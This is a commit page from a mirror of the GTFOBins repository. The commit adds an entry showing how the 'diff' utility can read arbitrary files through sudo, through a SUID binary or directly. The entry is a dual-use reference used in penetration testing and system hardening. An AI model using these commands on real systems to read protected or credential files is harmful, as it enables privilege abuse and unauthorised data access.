mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 14:30:07 +01:00
Add diff
This commit is contained in:
parent
234cfc0ebb
commit
b6dfe3e083
15
_gtfobins/diff.md
Normal file
15
_gtfobins/diff.md
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
---
|
||||||
|
functions:
|
||||||
|
sudo-enabled:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
sudo diff --line-format=%L /dev/null $LFILE
|
||||||
|
suid-enabled:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
./diff --line-format=%L /dev/null $LFILE
|
||||||
|
file-read:
|
||||||
|
- code: |
|
||||||
|
LFILE=file_to_read
|
||||||
|
diff --line-format=%L /dev/null $LFILE
|
||||||
|
---
|
Loading…
Reference in New Issue
Block a user